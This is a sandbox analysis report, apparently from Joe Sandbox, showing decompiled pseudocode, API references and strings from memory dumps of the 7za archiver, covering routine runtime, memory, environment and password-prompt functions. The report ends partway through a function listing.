DeleteCriticalSection.KERNEL32(?), ref: 004147E9

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00472375, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117

C-Code - Quality: 78%

			E00472375(int _a4, char* _a8, int _a12, short* _a16, int _a20, int _a24, char _a28) {
				int _v8;
				intOrPtr _v20;
				short* _v28;
				short _v32;
				int _v36;
				short* _v40;
				void* _v56;
				int _t31;
				int _t32;
				int _t37;
				int _t43;
				int _t44;
				int _t45;
				void* _t53;
				short* _t60;
				int _t61;
				intOrPtr _t62;
				short* _t63;

				_push(0xffffffff);
				_push(0x47cd40);
				_push(E0046CE74);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t62;
				_t63 = _t62 - 0x18;
				_v28 = _t63;
				_t31 =  *0x4938a4; // 0x1
				if(_t31 != 0) {
					L6:
					if(_t31 != 2) {
						if(_t31 != 1) {
							goto L18;
						} else {
							if(_a20 == 0) {
								_t44 =  *0x493880; // 0x0
								_a20 = _t44;
							}
							_t13 =  &_a28; // 0x496224
							asm("sbb eax, eax");
							_t37 = MultiByteToWideChar(_a20, ( ~( *_t13) & 0x00000008) + 1, _a8, _a12, 0, 0);
							_v36 = _t37;
							if(_t37 == 0) {
								goto L18;
							} else {
								_v8 = 0;
								E0046CC80(_t37 + _t37 + 0x00000003 & 0x000000fc, _t53);
								_v28 = _t63;
								_t60 = _t63;
								_v40 = _t60;
								E0046CCB0(_t60, 0, _t37 + _t37);
								_v8 = _v8 | 0xffffffff;
								if(_t60 == 0) {
									goto L18;
								} else {
									_t43 = MultiByteToWideChar(_a20, 1, _a8, _a12, _t60, _v36);
									if(_t43 == 0) {
										goto L18;
									} else {
										_t32 = GetStringTypeW(_a4, _t60, _t43, _a16);
									}
								}
							}
						}
					} else {
						_t45 = _a24;
						if(_t45 == 0) {
							_t45 =  *0x493870; // 0x0
						}
						_t32 = GetStringTypeA(_t45, _a4, _a8, _a12, _a16);
					}
				} else {
					_push( &_v32);
					_t61 = 1;
					if(GetStringTypeW(_t61, 0x47cd24, _t61, ??) == 0) {
						if(GetStringTypeA(0, _t61, 0x47cd20, _t61,  &_v32) == 0) {
							L18:
							_t32 = 0;
						} else {
							_t31 = 2;
							goto L5;
						}
					} else {
						_t31 = _t61;
						L5:
						 *0x4938a4 = _t31;
						goto L6;
					}
				}
				 *[fs:0x0] = _v20;
				return _t32;
			}

0x00472378
0x0047237a
0x0047237f
0x0047238a
0x0047238b
0x00472392
0x00472398
0x0047239b
0x004723a4
0x004723e4
0x004723e7
0x00472410
0x00000000
0x00472416
0x00472419
0x0047241b
0x00472420
0x00472420
0x0047242b
0x00472430
0x0047243a
0x00472440
0x00472445
0x00000000
0x00472447
0x00472447
0x00472454
0x00472459
0x0047245c
0x0047245e
0x00472464
0x00472479
0x0047247f
0x00000000
0x00472481
0x00472490
0x00472498
0x00000000
0x0047249a
0x004724a2
0x004724a2
0x00472498
0x0047247f
0x00472445
0x004723e9
0x004723e9
0x004723ee
0x004723f0
0x004723f0
0x00472402
0x00472402
0x004723a6
0x004723a9
0x004723ac
0x004723bc
0x004723d6
0x004724aa
0x004724aa
0x004723dc
0x004723de
0x00000000
0x004723de
0x004723be
0x004723be
0x004723df
0x004723df
0x00000000
0x004723df
0x004723bc
0x004724b2
0x004724bd

APIs

GetStringTypeW.KERNEL32(00000001,0047CD24,00000001,?,775CC600,00496224,?,?,00471FC7,?,?,?,00000000,00000001), ref: 004723B4
GetStringTypeA.KERNEL32(00000000,00000001,0047CD20,00000001,?,?,00471FC7,?,?,?,00000000,00000001), ref: 004723CE
GetStringTypeA.KERNEL32(?,?,?,?,00471FC7,775CC600,00496224,?,?,00471FC7,?,?,?,00000000,00000001), ref: 00472402
MultiByteToWideChar.KERNEL32(?,$bI,?,?,00000000,00000000,775CC600,00496224,?,?,00471FC7,?,?,?,00000000,00000001), ref: 0047243A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,00471FC7,?), ref: 00472490
GetStringTypeW.KERNEL32(?,?,00000000,00471FC7,?,?,?,?,?,?,00471FC7,?), ref: 004724A2

Strings

$bI, xrefs: 0047242B, 00472436

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00470C41, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100

C-Code - Quality: 96%

			E00470C41(void* __edi, long _a4) {
				char _v164;
				char _v424;
				int _t17;
				long _t19;
				signed int _t42;
				long _t47;
				void* _t48;
				signed int _t54;
				void** _t56;
				void* _t57;

				_t48 = __edi;
				_t47 = _a4;
				_t42 = 0;
				_t17 = 0x490378;
				while(_t47 !=  *_t17) {
					_t17 = _t17 + 8;
					_t42 = _t42 + 1;
					if(_t17 < 0x490408) {
						continue;
					}
					break;
				}
				_t54 = _t42 << 3;
				_t2 = _t54 + 0x490378; // 0x5c000000
				if(_t47 ==  *_t2) {
					_t17 =  *0x493678; // 0x0
					if(_t17 == 1 || _t17 == 0 &&  *0x48e044 == 1) {
						_t16 = _t54 + 0x49037c; // 0x47cc5c
						_t56 = _t16;
						_t19 = E0046B400( *_t56);
						_t17 = WriteFile(GetStdHandle(0xfffffff4),  *_t56, _t19,  &_a4, 0);
					} else {
						if(_t47 != 0xfc) {
							if(GetModuleFileNameA(0,  &_v424, 0x104) == 0) {
								E00471740( &_v424, "<program name unknown>");
							}
							_push(_t48);
							_t49 =  &_v424;
							if(E0046B400( &_v424) + 1 > 0x3c) {
								_t49 = E0046B400( &_v424) +  &_v424 - 0x3b;
								E00471CB0(E0046B400( &_v424) +  &_v424 - 0x3b, "...", 3);
								_t57 = _t57 + 0x10;
							}
							E00471740( &_v164, "Runtime Error!\n\nProgram: ");
							E00471750( &_v164, _t49);
							E00471750( &_v164, "\n\n");
							_t12 = _t54 + 0x49037c; // 0x47cc5c
							E00471750( &_v164,  *_t12);
							_t17 = E00471C24( &_v164, "Microsoft Visual C++ Runtime Library", 0x12010);
						}
					}
				}
				return _t17;
			}

0x00470c41
0x00470c4a
0x00470c4d
0x00470c4f
0x00470c54
0x00470c58
0x00470c5b
0x00470c61
0x00000000
0x00000000
0x00000000
0x00470c61
0x00470c66
0x00470c69
0x00470c6f
0x00470c75
0x00470c7d
0x00470d6e
0x00470d6e
0x00470d79
0x00470d8b
0x00470c94
0x00470c9a
0x00470cb6
0x00470cc4
0x00470cca
0x00470cd1
0x00470cd3
0x00470ce3
0x00470cfe
0x00470d06
0x00470d0b
0x00470d0b
0x00470d1a
0x00470d27
0x00470d38
0x00470d3d
0x00470d4a
0x00470d60
0x00470d68
0x00470c9a
0x00470c7d
0x00470d93

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 00470CAE

Part of subcall function 00471C24: LoadLibraryA.KERNEL32(user32.dll), ref: 00471C36
Part of subcall function 00471C24: GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00471C4E
Part of subcall function 00471C24: GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 00471C5F
Part of subcall function 00471C24: GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00471C6C

GetStdHandle.KERNEL32(000000F4,0047CC5C,00000000,00000000,00000000,?), ref: 00470D84
WriteFile.KERNEL32(00000000), ref: 00470D8B

Strings

..., xrefs: 00470D00
<program name unknown>, xrefs: 00470CBE
Runtime Error!Program: , xrefs: 00470D14
Microsoft Visual C++ Runtime Library, xrefs: 00470D5A

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040C609, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 40

C-Code - Quality: 61%

			E0040C609() {
				struct _MEMORYSTATUS _v36;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v100;
				_Unknown_base(*)()* _t15;
				intOrPtr _t17;
				intOrPtr _t19;
				void* _t27;

				_v100 = 0x40;
				_t15 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "GlobalMemoryStatusEx");
				if(_t15 == 0) {
					L7:
					_v36.dwLength = 0x20;
					GlobalMemoryStatus( &_v36);
					_t17 = _v36.dwTotalVirtual;
					if(_t17 >= _v36.dwTotalPhys) {
						_t17 = _v36.dwTotalPhys;
					}
					return _t17;
				} else {
					_push( &_v100);
					if( *_t15() == 0) {
						goto L7;
					} else {
						_t19 = _v92;
						_t27 = _v56 - _v88;
						if(_t27 > 0 || _t27 >= 0 && _v60 >= _t19) {
							return _t19;
						} else {
							return _v60;
						}
					}
				}
			}

0x0040c619
0x0040c627
0x0040c62f
0x0040c657
0x0040c65a
0x0040c662
0x0040c668
0x0040c66e
0x0040c670
0x0040c670
0x0040c676
0x0040c631
0x0040c634
0x0040c639
0x00000000
0x0040c63b
0x0040c63e
0x0040c641
0x0040c644
0x0040c656
0x0040c64d
0x0040c651
0x0040c651
0x0040c644
0x0040c639

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx), ref: 0040C620
GetProcAddress.KERNEL32(00000000), ref: 0040C627
GlobalMemoryStatus.KERNEL32(?), ref: 0040C662

Strings

@, xrefs: 0040C619
, xrefs: 0040C65A
kernel32.dll, xrefs: 0040C614
GlobalMemoryStatusEx, xrefs: 0040C60F

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00470AD6, Relevance: 12.1, APIs: 8, Instructions: 132

C-Code - Quality: 100%

			E00470AD6() {
				int _v4;
				int _v8;
				intOrPtr _t7;
				CHAR* _t9;
				WCHAR* _t17;
				int _t20;
				char* _t24;
				int _t32;
				CHAR* _t36;
				WCHAR* _t38;
				void* _t39;
				int _t42;

				_t7 =  *0x493840; // 0x1
				_t32 = 0;
				_t38 = 0;
				_t36 = 0;
				if(_t7 != 0) {
					if(_t7 != 1) {
						if(_t7 != 2) {
							L27:
							return 0;
						}
						L18:
						if(_t36 != _t32) {
							L20:
							_t9 = _t36;
							if( *_t36 == _t32) {
								L23:
								_t41 = _t9 - _t36 + 1;
								_t39 = E0046BFC5(_t9 - _t36 + 1);
								if(_t39 != _t32) {
									E0046C5C0(_t39, _t36, _t41);
								} else {
									_t39 = 0;
								}
								FreeEnvironmentStringsA(_t36);
								return _t39;
							} else {
								goto L21;
							}
							do {
								do {
									L21:
									_t9 =  &(_t9[1]);
								} while ( *_t9 != _t32);
								_t9 =  &(_t9[1]);
							} while ( *_t9 != _t32);
							goto L23;
						}
						_t36 = GetEnvironmentStrings();
						if(_t36 == _t32) {
							goto L27;
						}
						goto L20;
					}
					L6:
					if(_t38 != _t32) {
						L8:
						_t17 = _t38;
						if( *_t38 == _t32) {
							L11:
							_t20 = (_t17 - _t38 >> 1) + 1;
							_v4 = _t20;
							_t42 = WideCharToMultiByte(_t32, _t32, _t38, _t20, _t32, _t32, _t32, _t32);
							if(_t42 != _t32) {
								_t24 = E0046BFC5(_t42);
								_v8 = _t24;
								if(_t24 != _t32) {
									if(WideCharToMultiByte(_t32, _t32, _t38, _v4, _t24, _t42, _t32, _t32) == 0) {
										E0046C0FF(_v8);
										_v8 = _t32;
									}
									_t32 = _v8;
								}
							}
							FreeEnvironmentStringsW(_t38);
							return _t32;
						} else {
							goto L9;
						}
						do {
							do {
								L9:
								_t17 =  &(_t17[1]);
							} while ( *_t17 != _t32);
							_t17 =  &(_t17[1]);
						} while ( *_t17 != _t32);
						goto L11;
					}
					_t38 = GetEnvironmentStringsW();
					if(_t38 == _t32) {
						goto L27;
					}
					goto L8;
				}
				_t38 = GetEnvironmentStringsW();
				if(_t38 == 0) {
					_t36 = GetEnvironmentStrings();
					if(_t36 == 0) {
						goto L27;
					}
					 *0x493840 = 2;
					goto L18;
				}
				 *0x493840 = 1;
				goto L6;
			}

0x00470ad8
0x00470ae7
0x00470ae9
0x00470aeb
0x00470aef
0x00470b27
0x00470bb1
0x00470bff
0x00000000
0x00470bff
0x00470bb3
0x00470bb5
0x00470bc3
0x00470bc5
0x00470bc7
0x00470bd3
0x00470bd6
0x00470bde
0x00470be3
0x00470bec
0x00470be5
0x00470be5
0x00470be5
0x00470bf5
0x00000000
0x00000000
0x00000000
0x00000000
0x00470bc9
0x00470bc9
0x00470bc9
0x00470bc9
0x00470bca
0x00470bce
0x00470bcf
0x00000000
0x00470bc9
0x00470bbd
0x00470bc1
0x00000000
0x00000000
0x00000000
0x00470bc1
0x00470b2d
0x00470b2f
0x00470b3d
0x00470b40
0x00470b42
0x00470b52
0x00470b5e
0x00470b65
0x00470b6b
0x00470b6f
0x00470b72
0x00470b7a
0x00470b7e
0x00470b8f
0x00470b95
0x00470b9b
0x00470b9b
0x00470b9f
0x00470b9f
0x00470b7e
0x00470ba4
0x00000000
0x00000000
0x00000000
0x00000000
0x00470b44
0x00470b44
0x00470b44
0x00470b45
0x00470b46
0x00470b4c
0x00470b4d
0x00000000
0x00470b44
0x00470b33
0x00470b37
0x00000000
0x00000000
0x00000000
0x00470b37
0x00470af3
0x00470af7
0x00470b0b
0x00470b0f
0x00000000
0x00000000
0x00470b15
0x00000000
0x00470b15
0x00470af9
0x00000000

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,0046CFE1), ref: 00470AF1
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,0046CFE1), ref: 00470B05
GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,0046CFE1), ref: 00470B31
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?,0046CFE1), ref: 00470B69
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,0046CFE1), ref: 00470B8B

Part of subcall function 0046C0FF: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0046C1D3

FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,?,?,0046CFE1), ref: 00470BA4
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,0046CFE1), ref: 00470BB7

Part of subcall function 0046BFC5: __nh_malloc.LIBC ref: 0046BFCF

FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00470BF5

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046F60A, Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 102

C-Code - Quality: 100%

			E0046F60A() {
				void* _t25;
				intOrPtr* _t28;
				void* _t42;
				void* _t43;
				void* _t45;
				void* _t55;

				if( *0x48e148 != 0xffffffff) {
					_t43 = HeapAlloc( *0x496580, 0, 0x2020);
					if(_t43 == 0) {
						goto L20;
					}
					goto L3;
				} else {
					_t43 = 0x48e138;
					L3:
					_t42 = VirtualAlloc(0, 0x400000, 0x2000, 4);
					if(_t42 == 0) {
						L18:
						if(_t43 != 0x48e138) {
							HeapFree( *0x496580, 0, _t43);
						}
						L20:
						return 0;
					}
					if(VirtualAlloc(_t42, 0x10000, 0x1000, 4) == 0) {
						VirtualFree(_t42, 0, 0x8000);
						goto L18;
					}
					if(_t43 != 0x48e138) {
						 *_t43 = 0x48e138;
						_t25 =  *0x48e13c; // 0x48e138
						 *(_t43 + 4) = _t25;
						 *0x48e13c = _t43;
						 *( *(_t43 + 4)) = _t43;
					} else {
						if( *0x48e138 == 0) {
							 *0x48e138 = 0x48e138;
						}
						if( *0x48e13c == 0) {
							 *0x48e13c = 0x48e138;
						}
					}
					_t3 = _t42 + 0x400000; // 0x400000
					_t4 = _t43 + 0x98; // 0x98
					 *((intOrPtr*)(_t43 + 0x14)) = _t3;
					_t6 = _t43 + 0x18; // 0x18
					_t28 = _t6;
					 *((intOrPtr*)(_t43 + 0xc)) = _t4;
					 *(_t43 + 0x10) = _t42;
					 *((intOrPtr*)(_t43 + 8)) = _t28;
					_t45 = 0;
					do {
						_t55 = _t45 - 0x10;
						_t45 = _t45 + 1;
						 *_t28 = ((0 | _t55 >= 0x00000000) - 0x00000001 & 0x000000f1) - 1;
						 *((intOrPtr*)(_t28 + 4)) = 0xf1;
						_t28 = _t28 + 8;
					} while (_t45 < 0x400);
					E0046CCB0(_t42, 0, 0x10000);
					while(_t42 <  *(_t43 + 0x10) + 0x10000) {
						 *(_t42 + 0xf8) =  *(_t42 + 0xf8) | 0x000000ff;
						_t16 = _t42 + 8; // -4088
						 *_t42 = _t16;
						 *((intOrPtr*)(_t42 + 4)) = 0xf0;
						_t42 = _t42 + 0x1000;
					}
					return _t43;
				}
			}

0x0046f615
0x0046f631
0x0046f635
0x00000000
0x00000000
0x00000000
0x0046f617
0x0046f617
0x0046f63b
0x0046f651
0x0046f655
0x0046f730
0x0046f736
0x0046f741
0x0046f741
0x0046f747
0x00000000
0x0046f747
0x0046f66d
0x0046f72a
0x00000000
0x0046f72a
0x0046f67a
0x0046f69a
0x0046f69c
0x0046f6a1
0x0046f6a4
0x0046f6ad
0x0046f67c
0x0046f683
0x0046f685
0x0046f685
0x0046f691
0x0046f693
0x0046f693
0x0046f691
0x0046f6af
0x0046f6b5
0x0046f6bb
0x0046f6be
0x0046f6be
0x0046f6c1
0x0046f6c4
0x0046f6c7
0x0046f6ca
0x0046f6d1
0x0046f6d3
0x0046f6dd
0x0046f6de
0x0046f6e0
0x0046f6e3
0x0046f6e6
0x0046f6f2
0x0046f6fa
0x0046f703
0x0046f70a
0x0046f70d
0x0046f70f
0x0046f716
0x0046f716
0x00000000
0x0046f71e

APIs

HeapAlloc.KERNEL32(00000000,00002020,8H,8H,?,?,0046FAD6,00000000,00000010,00000000,00000009,00000009,?,0046C0AF,00000010,00000000), ref: 0046F62B
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,0046FAD6,00000000,00000010,00000000,00000009,00000009,?,0046C0AF,00000010,00000000), ref: 0046F64F
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,0046FAD6,00000000,00000010,00000000,00000009,00000009,?,0046C0AF,00000010,00000000), ref: 0046F669
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,0046FAD6,00000000,00000010,00000000,00000009,00000009,?,0046C0AF,00000010,00000000,?), ref: 0046F72A
HeapFree.KERNEL32(00000000,00000000), ref: 0046F741

Strings

8H, xrefs: 0046F68A, 0046F693, 0046F69C, 0046F6A4
8H, xrefs: 0046F613, 0046F614, 0046F617, 0046F673, 0046F67C, 0046F685
8H, xrefs: 0046F730

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 004068A1, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67

C-Code - Quality: 94%

			E004068A1(intOrPtr __ecx, void* __edx) {
				void* _t25;
				void* _t41;
				void* _t57;
				void* _t59;

				_t52 = __edx;
				E0046B890(E004735AC, _t59);
				 *(_t59 - 0x14) =  *(_t59 - 0x14) & 0x00000000;
				_t41 = __edx;
				 *((intOrPtr*)(_t59 - 0x18)) = __ecx;
				E00407CD5(__edx, "\nEnter password (will not be echoed):");
				E00407CAC(__edx);
				_t25 = GetStdHandle(0xfffffff6);
				 *(_t59 - 0xd) =  *(_t59 - 0xd) & 0x00000000;
				 *(_t59 - 0x14) =  *(_t59 - 0x14) & 0x00000000;
				_t57 = _t25;
				if(_t57 != 0xffffffff && _t57 != 0 && GetConsoleMode(_t57, _t59 - 0x14) != 0) {
					 *(_t59 - 0xd) = SetConsoleMode(_t57,  *(_t59 - 0x14) & 0x000000fb) != 0;
				}
				_push(_t59 - 0x24);
				E00407B25(0x490aa8, _t52);
				 *(_t59 - 4) =  *(_t59 - 4) & 0x00000000;
				if( *(_t59 - 0xd) != 0) {
					SetConsoleMode(_t57,  *(_t59 - 0x14));
				}
				E00407CD5(_t41, "\n");
				E00407CAC(_t41);
				E004039C0( *((intOrPtr*)(_t59 - 0x18)), _t59 - 0x24);
				E00407A18( *((intOrPtr*)(_t59 - 0x24)));
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return  *((intOrPtr*)(_t59 - 0x18));
			}

0x004068a1
0x004068a6
0x004068ae
0x004068b4
0x004068b6
0x004068c1
0x004068c8
0x004068cf
0x004068d5
0x004068d9
0x004068e3
0x004068e8
0x00406908
0x00406908
0x00406914
0x00406915
0x0040691a
0x00406922
0x00406928
0x00406928
0x00406931
0x00406938
0x00406944
0x0040694c
0x0040695b
0x00406963

APIs

__EH_prolog.LIBCMT ref: 004068A6
GetStdHandle.KERNEL32(000000F6,Enter password (will not be echoed):,?,?), ref: 004068CF
GetConsoleMode.KERNEL32(00000000,00000000), ref: 004068F3
SetConsoleMode.KERNEL32(00000000,00000000), ref: 00406904

Part of subcall function 00407B25: __EH_prolog.LIBCMT ref: 00407B2A

SetConsoleMode.KERNEL32(00000000,00000000), ref: 00406928

Strings

Enter password (will not be echoed):, xrefs: 004068BA

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00406564, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47

C-Code - Quality: 71%

			E00406564(void* __ecx) {
				void* _t15;
				void* _t18;
				void* _t29;
				void* _t31;

				E0046B890(E00473524, _t31);
				_push(__ecx);
				_t29 = __ecx;
				 *(_t31 - 0x10) = 0x490a88;
				EnterCriticalSection(0x490a88);
				 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
				if( *((char*)(_t29 + 0x39)) == 0) {
					_t18 = _t29 + 8;
					if( *((char*)(_t31 + 0xc)) == 0) {
						_push("Compressing  ");
					} else {
						_push("Anti item    ");
					}
					E0040608D(_t18);
					_t13 =  *((intOrPtr*)(_t31 + 8));
					if( *((short*)( *((intOrPtr*)(_t31 + 8)))) == 0) {
						_t13 =  *0x48b344; // 0x48b388
					}
					E004060A5(_t18, _t13);
					if( *((char*)(_t29 + 0x38)) != 0) {
						E004060D4(_t18);
					}
					LeaveCriticalSection(0x490a88);
					_t15 = 0;
				} else {
					LeaveCriticalSection(0x490a88);
					_t15 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t31 - 0xc));
				return _t15;
			}

0x00406569
0x0040656e
0x00406576
0x00406579
0x0040657c
0x00406582
0x0040658a
0x0040659c
0x0040659f
0x004065a8
0x004065a1
0x004065a1
0x004065a1
0x004065af
0x004065b4
0x004065bb
0x004065bd
0x004065bd
0x004065c5
0x004065ce
0x004065d2
0x004065d2
0x004065d8
0x004065de
0x0040658c
0x0040658d
0x00406593
0x00406593
0x004065e6
0x004065ee

APIs

__EH_prolog.LIBCMT ref: 00406569
EnterCriticalSection.KERNEL32(00490A88), ref: 0040657C
LeaveCriticalSection.KERNEL32(00490A88), ref: 0040658D
LeaveCriticalSection.KERNEL32(00490A88), ref: 004065D8

Part of subcall function 004060D4: __aulldiv.INT64 ref: 00406107

Strings

Compressing , xrefs: 004065A8
Anti item , xrefs: 004065A1

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 004285AD, Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 379

C-Code - Quality: 89%

			E004285AD(void* __ecx) {
				signed int _t160;
				intOrPtr _t162;
				signed int _t163;
				signed int _t164;
				signed int _t166;
				intOrPtr _t175;
				void* _t178;
				intOrPtr* _t188;
				signed int _t194;
				signed int _t196;
				intOrPtr* _t199;
				signed int _t202;
				signed int* _t205;
				intOrPtr _t211;
				signed int _t215;
				void* _t225;
				void* _t226;
				signed int _t240;
				signed int _t241;
				void* _t242;
				void* _t243;
				signed int _t244;
				void* _t245;
				intOrPtr _t246;
				signed int _t247;
				signed int _t250;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				signed int _t258;
				signed int _t274;
				signed int _t276;
				void* _t278;
				signed int _t281;
				signed int _t296;
				void* _t297;
				signed int _t298;
				signed int _t299;
				void* _t301;
				intOrPtr* _t302;
				signed int _t303;
				signed int _t305;
				void* _t307;
				intOrPtr _t308;
				void* _t309;
				signed int _t310;
				void* _t312;
				signed int _t313;
				intOrPtr _t314;
				void* _t315;
				void* _t317;
				void* _t319;

